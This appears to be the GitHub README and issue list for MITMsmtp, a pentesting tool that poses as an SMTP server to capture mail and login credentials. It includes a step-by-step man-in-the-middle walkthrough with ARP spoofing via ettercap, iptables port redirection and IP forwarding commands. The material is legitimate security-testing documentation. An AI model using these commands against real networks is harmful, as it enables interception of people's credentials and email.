robinmeis / mitmsmtp

MITMsmtp is an Evil SMTP Server for pentesting SMTP clients to catch login credentials and mails sent over plain or SSL encrypted connections.

MITMsmtp

MITMsmtp is an Evil SMTP Server for pentesting SMTP clients to catch login credentials and mails sent over plain or SSL/TLS encrypted connections. The idea is to catch sensitive emails sent by clients which are not correctly verifying the SMTP servers identity in SSL/TLS mode. MITMsmtp will catch username and password as well as the message itself. This way you might gain access to a companies mail server or catch information like password reset tokens or verification links sent by applications. Using those information you might gain more and more access to a system. MITMsmtp has been built to work together with MITM Attacks like ARP Spoofing to terminate encrypted connections. MITMsmtp could be used as a honeypot as well.

MITMsmtp offers a command line tool as well as an open Python3 API which can be used to build own tools for automated pentesting of applications.

Compatibility

MITMsmtp has been tested against the SMTP client of Thunderbird 60.5.3 and some other SMTP clients.

Connection Security

MITMsmtp supports the following connection security modes:

• Plaintext
• STARTTLS
• SSL/TLS

Login Methods

MITMsmtp supports the following login methods:

• PLAIN
• LOGIN

Challenge-Response based authentication methods like CRAM-MD5, NTLM or Kerberos can't be supported as these methods require the server to know the cleartext password.

Setup

MITMsmtp requires Python3 and setuptools. You might want to install git as well. Use the following command on Debian:

apt install python3 python3-setuptools git

Now just clone the MITMsmtp repository:

git clone https://github.com/RobinMeis/MITMsmtp.git

Change into MITMsmtp directory and start the installation:

sudo python3 setup.py install

That's it!

Updating

git pull

sudo python3 setup.py install

Usage

MITMsmtp can be used as standalone command line application and offers an easy to use Python3 API to integrate in your own project

Command Line

Running MITMsmtp --help will give you an overview about the available command line switches:

usage: MITMsmtp [-h] [--server_address SERVER_ADDRESS] [--port PORT]
                [--server_name SERVER_NAME] [--STARTTLS] [--SSL]
                [--certfile CERTFILE] [--keyfile KEYFILE] [--log LOG]
                [--disable-auth-plain] [--disable-auth-login] [--print-lines]

MITMsmtp is an Evil SMTP Server for pentesting SMTP clients to catch login
credentials and mails sent over plain or SSL encrypted connections.

optional arguments:
  -h, --help            show this help message and exit
  --server_address SERVER_ADDRESS
                        IP Address to listen on (default: all)
  --port PORT           Port to listen on (default: 8587)
  --server_name SERVER_NAME
                        FQDN of Server (default: smtp.example.com)
  --STARTTLS            Enables and requires STARTTLS Support (default: False)
  --SSL                 Enables SSL Support (default: False)
  --certfile CERTFILE   Certfificate for SSL Mode (default: Default MITMsmtp
                        Certificate)
  --keyfile KEYFILE     Key for SSL Mode (default: Default MITMsmtp Keyfile)
  --log LOG             Directory for mails and credentials
  --disable-auth-plain  Disables authentication using method PLAIN (default:
                        False)
  --disable-auth-login  Disables authentication using method LOGIN (default:
                        False)
  --print-lines         Prints communication between Client and MITMsmtp
                        (default: False)

When running MITMsmtp without any parameters it will start an unencrypted SMTP server on port 8587 on all interfaces. Pointing Thunderbird or any other SMTP client will give you the ability to test MITMsmtp. Please keep in mind that the default port MITMsmtp differs from the SMTP default port.

As soon as a client has logged in, you will get the following information:

=== Login ===
Username: [email protected]
Password: SuperSecureAndUncrackablePassword

After the client has transmitted it's message, you will get basic information about the message:

=== Complete Message ===
Username  : [email protected]
Password  : SuperSecureAndUncrackablePassword
Client    : [192.168.178.42]
Sender    : [email protected]
Recipients: [email protected]
            [email protected]

If you want to get the full message, you have to enable logging.

Logging

Running MITMsmtp --log logdir will enable logging. Please make sure that the directory exists. MITMsmtp will create n+1 files while n is the amount of received messages. Each mail will be written into a new file like it has been received. Additionally all received credentials are stored in credentials.log.

Encryption

Some clients fallback to unencrypted mode if you don't offer SSL/TLS. Always make sure to test this! For clients which don't fallback, you may want to test the encrypted mode. Please keep in mind, that a correctly configured client won't be vulnerable to this attack. You will be unable to fake a trusted certificate for a validated common name and thus the client will stop connection before sending credentials. However some clients don't implement proper certificate validation. This is where this attack starts.

STARTTLS

STARTTLS is available for MTIMsmtp. When enabled it will enforce STARTTLS.

To use MITMsmtp with the example certificates run MITMsmtp --STARTTLS.

SSL/TLS

To run MITMsmtp in SSL mode you need a certificate and the according key. You can use the example in certs/. For some clients you might need to generate own certificates to bypass certain validation steps.

To use MITMsmtp with the example certificates run MITMsmtp --SSL.

API

For an example you might want to consult MITMsmtp/__main__.py. More docs will be available soon!

MITM

This section shows the usage of MITMsmtp if you are able to intercept the victims traffic.

ARP Spoofing

ARP Spoofing is one way to get between Victim and Router. In case you have the ability to modify your routers settings, you might skip this step. There are many other ways to perform MITM Attacks like DHCP Race-Conditions or DNS Spoofing. These instructions are just a basic idea how to use MITMsmtp. First of all you need the victims and the routers IP address. Make also sure that your client is connected to the same subnet.

In this example the Routers IP will be 192.168.42.1 and the Victims IP will be 192.168.42.24. Run the following commands as root.

First of all we are going to enable forwarding mode:

sysctl -w net.ipv4.ip_forward=1

To make sure that out victim doesn't find a way around us, block ICMP redirects:

sysctl -w net.ipv4.conf.all.send_redirects=0

Next we create a port forwarding rule from SMTP default port 587 to MITMsmtp. Please make sure that your victim uses port 587 and adjust if needed.

iptables -t nat -A PREROUTING -p tcp --destination-port 587 -j REDIRECT --to-port 8587

To start ARP Spoofing you will need ettercap. Run the following command and replace the IP addresses according to your setup:

ettercap -T -M arp /192.168.42.24/ /192.168.42.1/

Finally you can fire up MITMsmtp:

MITMsmtp --log log/

Limitations

As we perform a port forward, MITMsmtp can't determine the original packet destination. This means that MITMsmtp can't log the real SMTP server name or IP. If you need these information, just run wireshark while catching mails using MITMsmtp and filter for tcp.port==587 or dns. This way you will be able to get the domain name as well as the original IP.

Reference

[1] https://tools.ietf.org/html/rfc5321

[2] http://www.samlogic.net/articles/smtp-commands-reference-auth.htm

[3] https://tools.ietf.org/html/rfc3207

mitmsmtp's Issues

Print/Log IP address of client

For honeypot use: Log IP address of connected clients

Support for "encrypted password"

Support for NTLM

Adding support for NTLM

Modifying packets on the fly

Use Scapy to modify packets in a MITM scenario using MITMsmtp

Dealing with non-ASCII chars

Closed connection!
----------------------------------------
Exception happened during processing of request from ('10.2.10.131', 56622)
Traceback (most recent call last):
  File "/usr/lib/python3.5/socketserver.py", line 625, in process_request_thread
    self.finish_request(request, client_address)
  File "/usr/lib/python3.5/socketserver.py", line 354, in finish_request
    self.RequestHandlerClass(request, client_address, self)
  File "/usr/lib/python3.5/socketserver.py", line 681, in __init__
    self.handle()
  File "/usr/local/lib/python3.5/dist-packages/MITMsmtp-0.0.2-py3.5.egg/MITMsmtp/SMTPHandler.py", line 59, in handle
    raise e
  File "/usr/local/lib/python3.5/dist-packages/MITMsmtp-0.0.2-py3.5.egg/MITMsmtp/SMTPHandler.py", line 54, in handle
    self.readMSG()
  File "/usr/local/lib/python3.5/dist-packages/MITMsmtp-0.0.2-py3.5.egg/MITMsmtp/SMTPHandler.py", line 170, in readMSG
    line = self.readLine()
  File "/usr/local/lib/python3.5/dist-packages/MITMsmtp-0.0.2-py3.5.egg/MITMsmtp/SMTPHandler.py", line 23, in readLine
    line = self.rfile.readline().strip()
  File "/usr/lib/python3.5/encodings/ascii.py", line 26, in decode
    return codecs.ascii_decode(input, self.errors)[0]
UnicodeDecodeError: 'ascii' codec can't decode byte 0xc2 in position 70: ordinal not in range(128)
----------------------------------------

Making STARTTLS usage optional

Stop forcing STARTTLS connections in case STARTTLS in enabled

Raise correct exception for failed authentication negotiation

If client sends a quit after server sends list of supported authentication methods the following exception is raised:

Unsupported Authentication Type requested by client: QUIT

Instead the server should raise:

The client closed the connection due to no common authentication methods

Add option to select TLS version

As in 0a3da57 fixed, MITMsmtp will negotiate the used TLS version. Adding a parameter to limit the TLS version could be used to check clients for weak protocols.